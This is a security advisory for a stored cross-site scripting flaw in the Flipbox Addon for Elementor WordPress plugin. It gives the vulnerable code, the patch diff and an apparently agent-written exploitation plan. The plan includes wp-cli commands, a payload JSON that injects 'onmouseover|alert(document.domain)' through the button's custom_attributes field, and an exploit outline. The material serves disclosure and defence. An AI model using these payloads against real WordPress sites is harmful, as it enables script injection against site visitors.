Flipbox Addon for Elementor <= 2.1.1 - Authenticated (Author+) Stored Cross-Site Scripting via Custom Attributes
Description
The Flipbox Addon for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Flipbox widget's button URL `custom_attributes` field in all versions up to, and including, 2.1.1 due to insufficient validation of custom attribute names. Specifically, the plugin uses `esc_html()` on the attribute name which does not prevent event handler attributes (e.g., `onmouseover`, `onclick`). This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.0.8What Changed in the Fix
Changes introduced in v2.1.2
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-6048 ## 1. Vulnerability Summary The **Flipbox Addon for Elementor** plugin (up to version 2.1.1) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the way custom attributes for flipbox buttons are rendered on t…
Show full research plan
Exploitation Research Plan - CVE-2026-6048
1. Vulnerability Summary
The Flipbox Addon for Elementor plugin (up to version 2.1.1) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the way custom attributes for flipbox buttons are rendered on the frontend. Specifically, the plugin uses esc_html() to sanitize the attribute name (key) of custom attributes provided in the Elementor widget settings. While esc_html() prevents breaking out of HTML tags, it does not prevent the use of valid HTML event handlers like onmouseover, onclick, or onerror. An attacker with Author-level permissions can inject arbitrary JavaScript by providing an event handler as the attribute name.
2. Attack Vector Analysis
- Widget Types:
Basic Flipbox(Simple),Story Flipbox(Stories), orPost Flipbox. - Vulnerable Parameter: The
custom_attributesfield within thebutton_linkcontrol settings. - Endpoint: WordPress Post Editor (Elementor) or direct
wp-json/wp/v2/postsoradmin-ajax.php(elementor_ajax). - Required Role: Author or higher (any role capable of editing posts and using Elementor).
- Payload Format:
attribute_name|attribute_value(e.g.,onmouseover|alert(1)).
3. Code Flow
The trace follows the rendering of the "Simple" flipbox widget:
- Entry:
UFAE\Widget\Simple\Ufae_Frontend\Ufae_Frontend_Output::render()is called when the widget is displayed. - Item Generation:
render()calls$this->loop_obj->flipbox_items(), which instantiatesUFAE\Widget\Simple\Ufae_Frontend\Ufae_Frontend_Item. - Side Rendering:
flipbox_items()callsrender_sides_content( 'front', '' )andrender_sides_content( 'back', '' ). - Element Rendering:
render_sides_content()iterates through elements (icon, title, desc, button) and calls$this->render_button( $side ). - Sink: Inside
render_button()(inferred based on patch description), the plugin retrieves the settings for the button link:- The setting
ufae_simple_' . $side . '_button_linkcontains acustom_attributesstring. - The plugin parses this string (likely using
explode('|', ...)) and renders it. - Vulnerable Code Path:
echo ' ' . esc_html( $attr_name ) . '="' . esc_attr( $attr_value ) . '"'; - Since
esc_html('onmouseover')remainsonmouseover, an attacker can inject an event handler.
- The setting
4. Nonce Acquisition Strategy
While an Author can use the Elementor UI directly, an automated exploit via the admin-ajax.php endpoint requires a nonce for the elementor_ajax action.
- Action:
elementor_ajax - Strategy:
- Navigate to the Elementor editor for a specific post:
/wp-admin/post.php?post=POST_ID&action=elementor. - Use
browser_evalto extract the nonce from the Elementor configuration object. - JavaScript Variable:
window.elementorCommonConfig.ajax.nonce
- Navigate to the Elementor editor for a specific post:
- Alternative: Since this is a Stored XSS requiring Author privileges, the simplest method for a PoC is to use
wp post meta updateto inject the payload directly into the_elementor_datafield, bypassing the need for an AJAX nonce during setup.
5. Exploitation Strategy
The goal is to inject a flipbox widget into a post where the button has a malicious onmouseover attribute.
Step 1: Authentication
Login to the WordPress instance as an Author user.
Step 2: Create a Target Post
Create a new post that will host the Flipbox widget.
wp post create --post_type=post --post_status=publish --post_title="XSS Test Page" --post_author=AUTHOR_ID
Step 3: Inject Malicious Elementor Data
The _elementor_data meta field stores the widget configuration as a JSON string. We will inject a ufae-flipbox widget.
Payload JSON structure (payload.json):
[
{
"id": "exploit_id",
"elType": "widget",
"settings": {
"ufae_simple_front_button_enable": "yes",
"ufae_simple_front_button_text": "Click Me",
"ufae_simple_front_button_link": {
"url": "https://google.com",
"is_external": "",
"nofollow": "",
"custom_attributes": "onmouseover|alert(document.domain)"
}
},
"widgetType": "ufae-simple-flipbox"
}
]
Apply the payload:
wp post meta update [POST_ID] _elementor_data --format=json < payload.json
wp post meta update [POST_ID] _elementor_edit_mode "builder"
Step 4: Trigger the XSS
- Use
browser_navigateto visit the post's permalink. - The flipbox will render.
- Hovering over the front side of the flipbox (where the button is rendered) will trigger the
onmouseoverevent.
6. Test Data Setup
- Plugin: Flipbox Addon for Elementor <= 2.1.1.
- Dependencies: Elementor plugin must be active.
- User: A user with the
Authorrole. - Content: A single post (ID:
[POST_ID]) configured to use the Elementor builder.
7. Expected Results
- The HTML source of the rendered page should contain:
<a ... onmouseover="alert(document.domain)" ...>. - When a browser user hovers over the button in the Flipbox, a JavaScript alert showing the document domain should appear.
8. Verification Steps
- Database Check:
Confirm thewp post meta get [POST_ID] _elementor_datacustom_attributescontainsonmouseover|alert(document.domain). - HTML Verification:
Use thehttp_requesttool to fetch the post content and grep for the payload:# (Pseudocode) response = http_request("GET", post_url) if "onmouseover=\"alert(document.domain)\"" in response.body: print("Vulnerability Confirmed")
9. Alternative Approaches
If the ufae-simple-flipbox widget type does not render the button as expected, try the "Story Flipbox" widget:
- Widget Type:
ufae-stories-flipbox - Repeater Key:
ufae_lists(this is a repeater control). - Settings Path: Within an item in
ufae_lists, setufae_front_button_linkwithcustom_attributesset toonclick|console.log(window.origin).
Example Story JSON snippet:
{
"widgetType": "ufae-stories-flipbox",
"settings": {
"ufae_lists": [
{
"ufae_front_button_enable": "yes",
"ufae_front_button_link": {
"custom_attributes": "onmouseover|alert(1)"
}
}
]
}
}
Summary
The Flipbox Addon for Elementor plugin is vulnerable to authenticated stored Cross-Site Scripting (XSS) due to insufficient sanitization of custom attribute names in the Flipbox widget's button. An attacker with Author-level permissions can use event handlers like 'onmouseover' as attribute keys, allowing them to execute arbitrary JavaScript when a user interacts with the flipbox on the frontend.
Vulnerable Code
// widget/simple/ufae-frontend/class-ufae-frontend-item.php lines 260-264 $custom_attr = isset( $btn_url_setting['custom_attributes'] ) && ! empty( $btn_url_setting['custom_attributes'] ) ? explode( '|', $btn_url_setting['custom_attributes'] ) : array(); $custom_attr = count( $custom_attr ) > 1 ? esc_html( $custom_attr[0] ) . '="' . esc_attr( $custom_attr[1] ) . '"' : ''; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- all content sanitized using escaping function before using. echo '<a href="' . esc_url( $btn_url ) . '" class="ufae-button" target="' . esc_attr( $blank_attr ) . '" rel="' . esc_attr( $nofollow_attr ) . '" ' . trim( $custom_attr ) . '>' . esc_html( $btn_text ) . '</a>';
Security Fix
@@ -249,15 +249,11 @@ $btn_url = isset($btn_url_setting['url']) && ! empty($btn_url_setting['url']) ? $btn_url_setting['url'] : false; echo '<div class="ufae-btn-wrapper">'; - if ( $btn_url ) { - $blank_attr = isset( $btn_url_setting['is_external'] ) && 'on' === $btn_url_setting['is_external'] ? '_blank' : '_self'; - $nofollow_attr = isset( $btn_url_setting['nofollow'] ) && 'on' === $btn_url_setting['nofollow'] ? 'nofollow' : ''; - $custom_attr = isset( $btn_url_setting['custom_attributes'] ) && ! empty( $btn_url_setting['custom_attributes'] ) ? explode( '|', $btn_url_setting['custom_attributes'] ) : array(); - - $custom_attr = count( $custom_attr ) > 1 ? esc_html( $custom_attr[0] ) . '="' . esc_attr( $custom_attr[1] ) . '"' : ''; - - // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- all content sanitized using escaping function before using. - echo '<a href="' . esc_url( $btn_url ) . '" class="ufae-button" target="' . esc_attr( $blank_attr ) . '" rel="' . esc_attr( $nofollow_attr ) . '" ' . trim( $custom_attr ) . '>' . esc_html( $btn_text ) . '</a>'; + if ($btn_url) { + $this->parent_obj->add_link_attributes('ufae_button_link', $btn_url_setting); + // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- no need escaping all attributes sanitized before using. + echo '<a class="ufae-button" ' . $this->parent_obj->get_render_attribute_string('ufae_button_link') . '>' . esc_html($btn_text) . '</a>'; } else { echo '<button class="ufae-button">' . esc_html( $btn_text ) . '</button>'; }
Exploit Outline
The exploit requires an attacker with Author-level privileges or higher to access the Elementor page builder. 1. Login to WordPress as an Author. 2. Create or edit a post using Elementor. 3. Add a 'Basic Flipbox' (ufae-simple-flipbox) or 'Story Flipbox' widget to the page. 4. Locate the Button settings for either the front or back side of the flipbox. 5. In the URL control, find the 'Custom Attributes' field (standard Elementor link feature). 6. Enter a payload using an HTML event handler as the key and a script as the value, separated by a pipe character, e.g., 'onmouseover|alert(document.domain)'. 7. Save the page and view it as a site visitor. 8. Hovering over the flipbox button will trigger the JavaScript payload because the plugin used esc_html() on the attribute key, which allowed the 'onmouseover' event handler to be rendered literally into the <a> tag.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.